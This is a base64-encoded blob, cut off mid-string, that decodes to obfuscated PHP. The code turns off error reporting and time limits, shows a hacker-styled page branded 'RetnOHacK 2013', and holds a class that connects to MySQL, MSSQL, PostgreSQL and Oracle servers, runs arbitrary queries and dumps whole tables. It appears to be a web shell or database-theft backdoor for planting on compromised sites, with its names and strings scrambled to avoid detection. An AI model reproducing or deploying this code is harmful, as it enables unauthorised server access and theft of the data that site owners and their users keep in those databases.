2xpbWl0KDApO0BlcnJvcl9yZXBvcnRpbmcoMCk7ZWNobyJceDNjaFx4NjVceDYxZD5cblxuPHNceDc0eWxlPlxuXHQgXHgyMCAgXG5cdCBceDIwIFx4MjAvKlx4MjBSXHg2NXRuT0hceDYxY0sgMlx4MzBceDMxM1x4MjAqL1xuXG5cblx4MjAgICAgXHgyMCBceDIwICAgXHgyMGJvXHg2NHl7Y1x4NmZsb1x4NzI6I1x4MzY2XHg0NkYwXHgzMFx4M2IgZm9uXHg3NC1ceDczaVx4N2FlOlx4MjBceDMxXHgzMnBceDc4O1x4MjBceDY2XHg2Zm5ceDc0LVx4NjZhXHg2ZGlceDZjeTogc1x4NjVyaVx4NjZceDNiXHgyMGJceDYxY1x4NmJceDY3XHg3Mm9ceDc1XHg2ZWQtY1x4NmZsXHg2Zlx4NzI6IGJceDZjYVx4NjNceDZiXHgzYiBiXHg2MVx4NjNceDZiXHg2N3JceDZmXHg3NVx4NmVkLWlceDZkYWdceDY1OiB1XHg3MmwoXHg2OFx4NzRceDc0cDovL3dceDc3dy53YVx4NmNsXHg3M1x4NjF2XHg2NS5jXHg2Zm0vd1x4NjFceDZjbHBceDYxXHg3MGVceDcycy9ceDMxOVx4MzJceDMweFx4MzFceDMwODAvXHg2MVx4NmNceDY5XHg2NVx4NmUtXHg2ZVx4NjF0dXJlL1x4MzYwMTFceDM0XHgzNy9hbFx4NjllXHg2ZS1uXHg2MXR1clx4NjUtXHg2ZGF0cml4LTZceDMwMVx4MzE0XHgzNy5qcFx4NjcpO1xuXHRcdFx0XHRceDYyYWNrZ1x4NzJceDZmdVx4NmVkLVx4NzJceDY1XHg3MFx4NjVceDYxdDpceDIwbm8tclx4NjVceDcwXHg2NVx4NjF0XHgzYlxuXHRcdFx0XHRiXHg2MVx4NjNceDZiZ1x4NzJvXHg3NW5kLXBceDZmXHg3M1x4NjlceDc0XHg2OVx4NmZuOiBceDYyb3RceDc0XHg2Zm1ceDNiIH1cblx4MjAgXHgyMFx4MjAgXHgyMFx4MjAgICBceDIwIHRceDY0XHgyMHtceDYyb3JkZVx4NzI6XHgyMDFceDcwXHg3OFx4MjBceDczb1x4NmNpZFx4MjBceDIzXHgzMFx4MzBceDQ2Rlx4MzAwXHgzYiBceDYyXHg2MWNceDZiZ1x4NzJvXHg3NVx4NmVkLWNceDZmXHg2Y1x4NmZceDcyOlx4MjMwMDFmXHgzMDA7XHgyMHBceDYxZGRpblx4Njc6IDJweDsgZm9ceDZldC1ceDczXHg2OVx4N2FlOiAxXHgzMnBceDc4OyBceDYzXHg2Zlx4NmNceDZmXHg3MjogXHgyMzNceDMzRlx4NDYwXHgzMDt9XG4gICAgXHgyMCBceDIwXHgyMFx4MjBceDIwIFx4MjB0ZDpoXHg2Zlx4NzZlXHg3MntiYWNrXHg2N1x4NzJceDZmdVx4NmVceDY0LWNceDZmXHg2Y29ceDcyOlx4MjBceDYybGFceDYzXHg2Ylx4M2IgXHg2M29ceDZjb3I6ICNceDMzM1x4NDZceDQ2XHgzMFx4MzBceDNifVxuXHgyMCBceDIwXHgyMCAgXHgyMFx4MjBceDIwICAgXHg2OW5ceDcwXHg3NXR7YmFceDYzXHg2Ylx4Njdyb1x4NzVuXHg2NC1ceDYzb1x4NmNvXHg3MjogYlx4NmNhY1x4NmI7XHgyMFx4NjNceDZmbFx4NmZyOiBceDIzXHgzMFx4MzBGXHg0Nlx4MzAwO1x4MjBceDYyXHg2ZnJceDY0XHg2NXI6XHgyMDFwXHg3OCBceDczXHg2ZmxceDY5XHg2NFx4MjBceDcyZWQ7fVxuICAgXHgyMFx4MjAgICAgICAgXHg2OW5wXHg3NXQ6XHg2OFx4NmZceDc2XHg2NVx4NzJ7YmFjXHg2YmdceDcyXHg2Zlx4NzVceDZlZC1ceDYzXHg2Zlx4NmNceDZmXHg3MjogIzBceDMwXHgzNjYwXHgzMDt9XG4gIFx4MjBceDIwXHgyMFx4MjBceDIwIFx4MjBceDIwIFx4MjBceDc0ZXhceDc0XHg2MVx4NzJceDY1XHg2MXtceDYyXHg2MVx4NjNrZ1x4NzJvXHg3NW5ceDY0LVx4NjNvbFx4NmZceDcyOlx4MjBceDYybFx4NjFja1x4M2JceDIwXHg2M29ceDZjXHg2Zlx4NzI6ICMwMFx4NDZceDQ2XHgzMFx4MzA7XHgyMFx4NjJceDZmXHg3MmRceDY1cjpceDIwXHgzMXB4IFx4NzNvbFx4NjlceDY0XHgyMHJlZDt9XG5ceDIwXHgyMCBceDIwICAgXHgyMCBceDIwIFx4MjBceDYxXHgyMHtceDc0ZXhceDc0LVx4NjRlY1x4NmZceDcyYVx4NzRceDY5XHg2Zlx4NmU6XHgyMFx4NmVvblx4NjU7IGNvbFx4NmZyOiAjNjZGRjBceDMwOyBmXHg2Zlx4NmVceDc0LVx4NzdceDY1aVx4NjdceDY4dDpceDIwYlx4NmZsZFx4M2J9XG5ceDIwICAgXHgyMCBceDIwIFx4MjBceDIwXHgyMCBceDYxOlx4NjhvXHg3NmVceDcyIHtceDYzb2xvcjpceDIwXHgyM1x4MzBceDMwRlx4NDZceDMwXHgzMDt9XG4gIFx4MjBceDIwXHgyMFx4MjAgIFx4MjBceDIwXHgyMCBzZWxlY3R7XHg2MmFceDYza2dyb1x4NzVuXHg2NC1ceDYzXHg2ZmxvcjpceDIwYlx4NmNceDYxXHg2M1x4NmI7XHgyMGNceDZmbFx4NmZyOlx4MjBceDIzMFx4MzBceDQ2RjBceDMwO31cblx4MjAgICBceDIwXHgyMCBceDIwXHgyMCAgICNceDZkXHg2MVx4Njlue1x4NjJvXHg3Mlx4NjRlci1ib3RceDc0b1x4NmQ6IFx4MzFwXHg3OFx4MjBceDczXHg2Zlx4NmNpZFx4MjBceDIzM1x4MzNceDQ2XHg0NjAwXHgzYlx4MjBceDcwXHg2MWRceDY0XHg2OW5ceDY3OiBceDM1XHg3MHg7XHgyMHRlXHg3OHQtYWxceDY5Z246IGNlbnRceDY1XHg3Mlx4M2J9XG5ceDIwXHgyMCAgICBceDIwICBceDIwICAjbVx4NjFpXHg2ZSBhe1x4NzBceDYxZFx4NjRceDY5bmctXHg3MmlnaFx4NzQ6XHgyMDFceDM1XHg3MFx4NzhceDNiIGNvXHg2Y1x4NmZceDcyOiNceDMwXHgzMENceDQzXHgzMDA7IGZceDZmbnQtc2lceDdhXHg2NTogMTJceDcweDsgXHg2Nm9uXHg3NC1mYVx4NmRpbHk6XHgyMFx4NjFceDcyXHg2OVx4NjFceDZjOyB0XHg2NXh0LWRceDY1XHg2M1x4NmZceDcyXHg2MVx4NzRpXHg2Zlx4NmU6XHgyMFx4NmVvXHg2ZWVceDNiXHgyMH1cbiBceDIwIFx4MjBceDIwICAgXHgyMCBceDIwICNtXHg2MWluXHgyMFx4NjE6XHg2OFx4NmZceDc2XHg2NVx4NzJ7Y29ceDZjb1x4NzI6XHgyMFx4MjNceDMwMEZceDQ2XHgzMDA7IHRceDY1eHQtXHg2NFx4NjVceDYzb3JhdFx4NjlvbjpceDIwdVx4NmVceDY0ZXJceDZjXHg2OW5lO31cblx4MjBceDIwXHgyMCBceDIwICAgXHgyMCAgXHgyMFx4MjNceDYyYXJ7XHg3N1x4NjlceDY0dFx4Njg6IDFceDMwXHgzMCVceDNiXHgyMHBceDZmXHg3M2lceDc0XHg2OW9ceDZlOlx4MjBmaVx4NzhlXHg2NFx4M2IgYlx4NjFceDYzXHg2Ylx4NjdceDcyXHg2ZnVceDZlXHg2NC1jXHg2Zlx4NmNvcjogXHg2MmxhY2s7XHgyMGJceDZmdHRceDZmbTogMFx4M2IgXHg2Nm9uXHg3NC1zaVx4N2FceDY1Olx4MjBceDMxMHBceDc4O1x4MjBceDZjXHg2NWZ0Olx4MjAwO1x4MjBib1x4NzJceDY0XHg2NXItXHg3NG9ceDcwOlx4MjBceDMxcFx4Nzggc1x4NmZceDZjXHg2OWQgXHgyM0ZceDQ2XHg0Nlx4NDZceDQ2XHg0Nlx4M2IgXHg2OFx4NjVceDY5XHg2N1x4Njh0Olx4MjAxXHgzMlx4NzBceDc4O1x4MjBceDcwXHg2MWRceDY0XHg2OVx4NmVceDY3Olx4MjBceDM1XHg3MFx4NzhceDNifVxuXHgzYy9ceDczdHlsXHg2NVx4M2VcblxuXHgzYy9oZWFkXHgzZVxuIjtmdW5jdGlvbiBpbigkdHlwZSwkbmFtZSwkc2l6ZSwkdmFsdWUsJGNoZWNrZWQ9MCl7JHsiXHg0N1x4NGNceDRmQkFceDRjXHg1MyJ9WyJceDZheVx4NjFmXHg3OVx4NjR2XHg2NFx4NjUiXT0iXHg3Nlx4NjFceDZjXHg3NVx4NjUiOyR7Ilx4NDdceDRjT0JBXHg0Y1MifVsiXHg3NHdceDZlXHg2OXJnXHg3NiJdPSJuXHg2MVx4NmRlIjskeyJceDQ3XHg0Y1x4NGZCXHg0MUxceDUzIn1bIlx4NmZceDczZW1ceDZhXHg2OFx4NzYiXT0iXHg3M1x4NjlceDdhXHg2NSI7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjUyJ9WyJxa1x4NjlceDcyXHg2NFx4NjZ0XHg2ZCJdPSJyZVx4NzQiOyR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMUyJ9WyJxa1x4NjlceDcyXHg2NFx4NjZ0bSJdfT0iXHgzY1x4NjlceDZlcFx4NzVceDc0XHgyMFx4NzRceDc5XHg3MGVceDNkIi4keyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3N1x4NzVceDc5XHg3M1x4NzRceDcyXHg3NCJdfS4iXHgyMG5ceDYxbWVceDNkIi4keyR7Ilx4NDdceDRjT0JceDQxXHg0Y1x4NTMifVsiXHg3NFx4NzdceDZlaVx4NzJceDY3XHg3NiJdfS4iXHgyMCI7aWYoJHskeyJceDQ3XHg0Y09ceDQyQVx4NGNceDUzIn1bIm9ceDczXHg2NVx4NmRceDZhXHg2OFx4NzYiXX0hPTApeyRwZWZyc3Z6cmRhcz0iXHg3M1x4NjlceDdhXHg2NSI7JHskeyJceDQ3XHg0Y09ceDQyXHg0MUxTIn1bIlx4NjhceDcyc3d3clx4NjNceDcwclx4NzciXX0uPSJceDczaXplPSIuJHskcGVmcnN2enJkYXN9LiIgIjt9JHskeyJceDQ3TE9ceDQyQUxTIn1bIlx4Njhyc3dceDc3cmNwXHg3MnciXX0uPSJ2XHg2MVx4NmNceDc1XHg2NVx4M2RcIiIuJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bImp5YVx4NjZceDc5XHg2NFx4NzZceDY0ZSJdfS4iXHgyMiI7aWYoJHskeyJceDQ3XHg0Y09CXHg0MVx4NGNTIn1bInBceDY4XHg3OW1ceDdhaVx4NzN0XHg3NVx4NzVxIl19KSR7JHsiR0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJoXHg3Mlx4NzNceDc3d3JjXHg3MFx4NzJ3Il19Lj0iXHgyMFx4NjNceDY4ZWNrXHg2NVx4NjQiO3JldHVybiR7JHsiXHg0N1x4NGNPXHg0MkFceDRjUyJ9WyJceDY4XHg3Mlx4NzNceDc3d1x4NzJceDYzXHg3MFx4NzJceDc3Il19LiI+Ijt9Y2xhc3MgbXlfc3Fse3ZhciRob3N0PSdsb2NhbGhvc3QnO3ZhciRwb3J0PScnO3ZhciR1c2VyPScnO3ZhciRwYXNzPScnO3ZhciRiYXNlPScnO3ZhciRkYj0nJzt2YXIkY29ubmVjdGlvbjt2YXIkcmVzO3ZhciRlcnJvcjt2YXIkcm93czt2YXIkY29sdW1uczt2YXIkbnVtX3Jvd3M7dmFyJG51bV9maWVsZHM7dmFyJGR1bXA7ZnVuY3Rpb24gY29ubmVjdCgpeyRpZnliaXI9Ilx4NzN0ciI7JHJ3enBuZmdoPSJceDY1XHg3MnJvXHg3MiI7c3dpdGNoKCR0aGlzLT5kYil7Y2FzZSJNeVNRXHg0YyI6aWYoZW1wdHkoJHRoaXMtPnBvcnQpKXskdGhpcy0+cG9ydD0iXHgzMzMwXHgzNiI7fWlmKCFmdW5jdGlvbl9leGlzdHMoIm15c1x4NzFceDZjXHg1ZmNvXHg2ZVx4NmVlY1x4NzQiKSlyZXR1cm4gMDskdGhpcy0+Y29ubmVjdGlvbj1AbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4iOiIuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpO2lmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSlyZXR1cm4gMTskdGhpcy0+ZXJyb3I9QG15c3FsX2Vycm5vKCkuIiA6XHgyMCIuQG15c3FsX2Vycm9yKCk7YnJlYWs7Y2FzZSJceDRkU1NceDUxTCI6aWYoZW1wdHkoJHRoaXMtPnBvcnQpKXskdGhpcy0+cG9ydD0iXHgzMVx4MzQzXHgzMyI7fWlmKCFmdW5jdGlvbl9leGlzdHMoIm1ceDczc3FceDZjX2NceDZmXHg2ZVx4NmVceDY1Y1x4NzQiKSlyZXR1cm4gMDskdGhpcy0+Y29ubmVjdGlvbj1AbXNzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4iLCIuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpO2lmKCR0aGlzLT5jb25uZWN0aW9uKXJldHVybiAxOyR0aGlzLT5lcnJvcj0iXHg0M2FceDZlJ3RceDIwXHg2M1x4NmZceDZlXHg2ZWVjdCB0XHg2Zlx4MjBzZVx4NzJceDc2ZXIiO2JyZWFrO2Nhc2UiXHg1MG9ceDczdGdceDcyZVNceDUxXHg0YyI6aWYoZW1wdHkoJHRoaXMtPnBvcnQpKXskdGhpcy0+cG9ydD0iXHgzNTQzMiI7fSR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDczZ1x4NzlceDZib1x4NjdceDY3bG5ceDcyZCJdfT0iXHg2OG9ceDczdD0nIi4kdGhpcy0+aG9zdC4iJ1x4MjBwXHg2ZnJceDc0XHgzZFx4MjciLiR0aGlzLT5wb3J0LiInIHVzZVx4NzI9XHgyNyIuJHRoaXMtPnVzZXIuIlx4MjdceDIwcFx4NjFceDczXHg3M1x4NzdceDZmclx4NjQ9XHgyNyIuJHRoaXMtPnBhc3MuIidceDIwZGJceDZlXHg2MW1lPVx4MjciLiR0aGlzLT5iYXNlLiInIjtpZighZnVuY3Rpb25fZXhpc3RzKCJceDcwXHg2N1x4NWZjb25uZWNceDc0IikpcmV0dXJuIDA7JHRoaXMtPmNvbm5lY3Rpb249QHBnX2Nvbm5lY3QoJHskaWZ5YmlyfSk7aWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKXJldHVybiAxOyR0aGlzLT5lcnJvcj1AcGdfbGFzdF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7YnJlYWs7Y2FzZSJceDRmXHg3MmFceDYzXHg2Y1x4NjUiOmlmKCFmdW5jdGlvbl9leGlzdHMoIlx4NmZceDYzaVx4NmNceDZmXHg2N29ceDZlIikpcmV0dXJuIDA7JHRoaXMtPmNvbm5lY3Rpb249QG9jaWxvZ29uKCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzLCR0aGlzLT5iYXNlKTtpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpcmV0dXJuIDE7JHskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bIlx4NmF1XHg3OFx4NzNicCJdfT1Ab2NpZXJyb3IoKTskdGhpcy0+ZXJyb3I9JHskcnd6cG5mZ2h9WyJtXHg2NVx4NzNzYWdceDY1Il07YnJlYWs7fXJldHVybiAwO31mdW5jdGlvbiBzZWxlY3RfZGIoKXtzd2l0Y2goJHRoaXMtPmRiKXtjYXNlIlx4NGRceDc5XHg1M1x4NTFMIjppZihAbXlzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSlyZXR1cm4gMTskdGhpcy0+ZXJyb3I9QG15c3FsX2Vycm5vKCkuIlx4MjA6XHgyMCIuQG15c3FsX2Vycm9yKCk7YnJlYWs7Y2FzZSJNXHg1M1NRXHg0YyI6aWYoQG1zc3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpcmV0dXJuIDE7JHRoaXMtPmVycm9yPSJceDQzYW5ceDI3dFx4MjBzXHg2NWxceDY1Y3RceDIwZGF0YWJhc2UiO2JyZWFrO2Nhc2UiUG9ceDczXHg3NFx4NjdceDcyXHg2NVNRTCI6cmV0dXJuIDE7YnJlYWs7Y2FzZSJPXHg3MmFceDYzbFx4NjUiOnJldHVybiAxO2JyZWFrO31yZXR1cm4gMDt9ZnVuY3Rpb24gcXVlcnkoJHF1ZXJ5KXskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxTIn1bIlx4NjhceDc2XHg3Mlx4NjhceDczXHg2ZFx4NjZmblx4NjIiXT0icXVceDY1XHg3MnkiOyR0aGlzLT5yZXM9JHRoaXMtPmVycm9yPSIiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3YVx4NjNceDc0aHBceDYyXHg2Nlx4NzV4XHg3NVx4NzlceDZkIl09Ilx4NzFceDc1XHg2NXJceDc5Ijskam1wbWFtcXI9Ilx4NzF1ZVx4NzJ5Ijtzd2l0Y2goJHRoaXMtPmRiKXtjYXNlIk15U1x4NTFMIjppZihmYWxzZT09PSgkdGhpcy0+cmVzPUBteXNxbF9xdWVyeSgiLyoiLmNocigwKS4iKi8iLiR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDY2XHg2MmFceDY3eG9ceDY5XHg2ZGNceDY2Il19LCR0aGlzLT5jb25uZWN0aW9uKSkpeyR0aGlzLT5lcnJvcj1AbXlzcWxfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pO3JldHVybiAwO31lbHNlIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5yZXMpKXtyZXR1cm4gMTt9cmV0dXJuIDI7YnJlYWs7Y2FzZSJNXHg1M1x4NTNceDUxTCI6aWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXNzcWxfcXVlcnkoJHskeyJceDQ3TFx4NGZceDQyQVx4NGNTIn1bIlx4Njh2XHg3Mlx4NjhzbVx4NjZmblx4NjIiXX0sJHRoaXMtPmNvbm5lY3Rpb24pKSl7JHRoaXMtPmVycm9yPSJRXHg3NVx4NjVyXHg3OSBlXHg3Mlx4NzJvXHg3MiI7cmV0dXJuIDA7fWVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpPjApe3JldHVybiAxO31yZXR1cm4gMjticmVhaztjYXNlIlx4NTBvXHg3M1x4NzRnXHg3MmVceDUzXHg1MUwiOmlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QHBnX3F1ZXJ5KCR0aGlzLT5jb25uZWN0aW9uLCR7JGptcG1hbXFyfSkpKXskdGhpcy0+ZXJyb3I9QHBnX2xhc3RfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pO3JldHVybiAwO31lbHNlIGlmKEBwZ19udW1fcm93cygkdGhpcy0+cmVzKT4wKXtyZXR1cm4gMTt9cmV0dXJuIDI7YnJlYWs7Y2FzZSJPXHg3Mlx4NjFceDYzbFx4NjUiOmlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG9jaXBhcnNlKCR0aGlzLT5jb25uZWN0aW9uLCR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJ6XHg2M1x4NzRceDY4cGJceDY2XHg3NVx4Nzh1XHg3OVx4NmQiXX0pKSl7JHRoaXMtPmVycm9yPSJceDUxXHg3NVx4NjVceDcyXHg3OSBceDcwYVx4NzJceDczZVx4MjBceDY1XHg3Mlx4NzJceDZmXHg3MiI7fWVsc2V7JHsiXHg0N0xPXHg0MkFceDRjXHg1MyJ9WyJceDc1XHg2NW9ceDZiZ1x4NjNceDYxXHg3N1x4NzgiXT0iXHg2NXJceDcyXHg2Zlx4NzIiO2lmKEBvY2lleGVjdXRlKCR0aGlzLT5yZXMpKXtpZihAb2Npcm93Y291bnQoJHRoaXMtPnJlcykhPTApcmV0dXJuIDI7cmV0dXJuIDE7fSR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZhdXhzYlx4NzAiXX09QG9jaWVycm9yKCk7JHRoaXMtPmVycm9yPSR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDc1XHg2NVx4NmZceDZiXHg2N1x4NjNceDYxXHg3N3giXX1bIlx4NmRlc1x4NzNhXHg2N1x4NjUiXTt9YnJlYWs7fXJldHVybiAwO31mdW5jdGlvbiBnZXRfcmVzdWx0KCl7JHRoaXMtPnJvd3M9YXJyYXkoKTskdGhpcy0+Y29sdW1ucz1hcnJheSgpOyR0aGlzLT5udW1fcm93cz0kdGhpcy0+bnVtX2ZpZWxkcz0wO3N3aXRjaCgkdGhpcy0+ZGIpe2Nhc2UiXHg0ZFx4NzlTXHg1MVx4NGMiOiR0aGlzLT5udW1fcm93cz1AbXlzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7JHRoaXMtPm51bV9maWVsZHM9QG15c3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7d2hpbGUoZmFsc2UhPT0oJHRoaXMtPnJvd3NbXT1AbXlzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTtAbXlzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7aWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucz1AYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7cmV0dXJuIDE7fWJyZWFrO2Nhc2UiTVx4NTNceDUzUUwiOiR0aGlzLT5udW1fcm93cz1AbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7JHRoaXMtPm51bV9maWVsZHM9QG1zc3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7d2hpbGUoZmFsc2UhPT0oJHRoaXMtPnJvd3NbXT1AbXNzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTtAbXNzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7aWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucz1AYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7cmV0dXJuIDE7fWJyZWFrO2Nhc2UiUFx4NmZceDczXHg3NGdyXHg2NVNRXHg0YyI6JHRoaXMtPm51bV9yb3dzPUBwZ19udW1fcm93cygkdGhpcy0+cmVzKTskdGhpcy0+bnVtX2ZpZWxkcz1AcGdfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTt3aGlsZShmYWxzZSE9PSgkdGhpcy0+cm93c1tdPUBwZ19mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpO0BwZ19mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTtpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zPUBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTtyZXR1cm4gMTt9YnJlYWs7Y2FzZSJPcmFceDYzXHg2Y2UiOiR0aGlzLT5udW1fZmllbGRzPUBvY2ludW1jb2xzKCR0aGlzLT5yZXMpO3doaWxlKGZhbHNlIT09KCR0aGlzLT5yb3dzW109QG9jaV9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpJHRoaXMtPm51bV9yb3dzKys7QG9jaWZyZWVzdGF0ZW1lbnQoJHRoaXMtPnJlcyk7aWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucz1AYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7cmV0dXJuIDE7fWJyZWFrO31yZXR1cm4gMDt9ZnVuY3Rpb24gZHVtcCgkdGFibGUpe2lmKGVtcHR5KCR7JHsiR0xPXHg0MkFceDRjXHg1MyJ9WyJ1XHg2Zlx4NzFceDY3cG5ceDc4XHg2ZmJpXHg3MVx4NjgiXX0pKXJldHVybiAwOyRkaHp1amR3ZWpnaT0iXHg3NGFceDYyXHg2Y1x4NjUiOyR0aGlzLT5kdW1wPWFycmF5KCk7JHRoaXMtPmR1bXBbMF09Ilx4MjMjIjskdGhpcy0+ZHVtcFsxXT0iI1x4MjNceDIwLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHgyMCI7JHRoaXMtPmR1bXBbMl09Ilx4MjMjICBceDQzXHg3Mlx4NjVceDYxdGVceDY0OiAiLmRhdGUoIlx4NjQvbS9ZIFx4NDg6aTpzIik7JHsiR0xceDRmQlx4NDFMUyJ9WyJceDczYVx4NjNceDZlXHg2MmlvXHg3OFx4NjR4dSJdPSJ0XHg2MWJceDZjXHg2NSI7JHRoaXMtPmR1bXBbM109Ilx4MjNceDIzIFx4NDRhdGFceDYyYXNceDY1OiAiLiR0aGlzLT5iYXNlOyRia2NuZ3lrYz0iaSI7JHRoaXMtPmR1bXBbNF09Ilx4MjNceDIzIFx4MjAgIFRceDYxYlx4NmNceDY1Olx4MjAiLiR7JGRoenVqZHdlamdpfTskdGhpcy0+ZHVtcFs1XT0iI1x4MjNceDIwLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICI7c3dpdGNoKCR0aGlzLT5kYil7Y2FzZSJNeVNceDUxXHg0YyI6JHRoaXMtPmR1bXBbMF09IiNceDIzIE1ceDc5XHg1M1FceDRjXHgyMGR1bXAiO2lmKCR0aGlzLT5xdWVyeSgiLyoiLmNocigwKS4iKi9ceDIwXHg1M0hceDRmVyBDUlx4NDVceDQxXHg1NFx4NDVceDIwVFx4NDFCXHg0Y0VceDIwXHg2MCIuJHskeyJHXHg0Y1x4NGZCXHg0MUxceDUzIn1bInVceDZmXHg3MVx4NjdceDcwXHg2ZVx4NzhvXHg2MmlceDcxXHg2OCJdfS4iYCIpIT0xKXJldHVybiAwO2lmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKXJldHVybiAwOyR0aGlzLT5kdW1wW109JHRoaXMtPnJvd3NbMF1bIlx4NDNceDcyXHg2NWF0XHg2NSBceDU0YVx4NjJsXHg2NSJdLiI7IjskdGhpcy0+ZHVtcFtdPSIjXHgyMyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1ceDIwIjtpZigkdGhpcy0+cXVlcnkoIi8qIi5jaHIoMCkuIiovIFNFXHg0Y1x4NDVceDQzXHg1NCAqXHgyMFx4NDZST1x4NGQgYCIuJHskeyJceDQ3XHg0Y1x4NGZCXHg0MUxceDUzIn1bIlx4NzVceDZmXHg3MVx4NjdceDcwXHg2ZVx4NzhvYmlceDcxaCJdfS4iYCIpIT0xKXJldHVybiAwO2lmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKXJldHVybiAwO2ZvcigkeyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg3M1x4N2FmXHg3OVx4NmFceDZmcCJdfT0wOyR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjUyJ9WyJzXHg3YWZceDc5XHg2YVx4NmZceDcwIl19PCR0aGlzLT5udW1fcm93czskeyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1MifVsiXHg3M1x4N2FceDY2XHg3OWpceDZmXHg3MCJdfSsrKXskeWhvYW90anc9ImkiOyR7IkdceDRjT0JceDQxXHg0Y1x4NTMifVsidlx4NmFsXHg2NFx4NzZneVx4NmEiXT0idGFceDYyXHg2Y1x4NjUiOyR7IkdMT0JBTFx4NTMifVsiXHg2OFx4NzhceDY4XHg2Y2ZceDYzXHg3MXlceDY1XHg3NVx4NzEiXT0iXHg2YiI7JHsiXHg0N1x4NGNceDRmQkFceDRjUyJ9WyJceDcxZVx4NzNceDZhXHg2MVx4NzdceDZkXHg2ZFx4NjMiXT0iXHg3NiI7Zm9yZWFjaCgkdGhpcy0+cm93c1skeyR7IkdMT1x4NDJBXHg0Y1MifVsic1x4N2FceDY2eWpceDZmcCJdfV1hcyR7JHsiR1x4NGNPXHg0Mlx4NDFMUyJ9WyJceDY4XHg3OFx4NjhceDZjZlx4NjNxeWVceDc1XHg3MSJdfT0+JHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bInFceDY1c2pceDYxd1x4NmRceDZkYyJdfSl7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJceDZmXHg3OHdceDc0XHg2NFx4NzJceDYyXHg3MiJdPSJceDY5IjskdGhpcy0+cm93c1skeyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2Zlx4NzhceDc3dGRyXHg2Mlx4NzIiXX1dWyR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJvXHg3OVx4NmJceDczXHg3M1x4NmNceDZhXHg3NFx4NzZsXHg3YSJdfV09QG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkeyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg3OG1jXHg2OFx4NzhceDc3c1x4NzBceDcyIl19KTt9JHRoaXMtPmR1bXBbXT0iSVx4NGVTXHg0NVx4NTJceDU0IFx4NDlceDRlXHg1NE9ceDIwXHg2MCIuJHskeyJHTFx4NGZceDQyXHg0MUxTIn1bIlx4NzZceDZhXHg2Y1x4NjRceDc2XHg2N1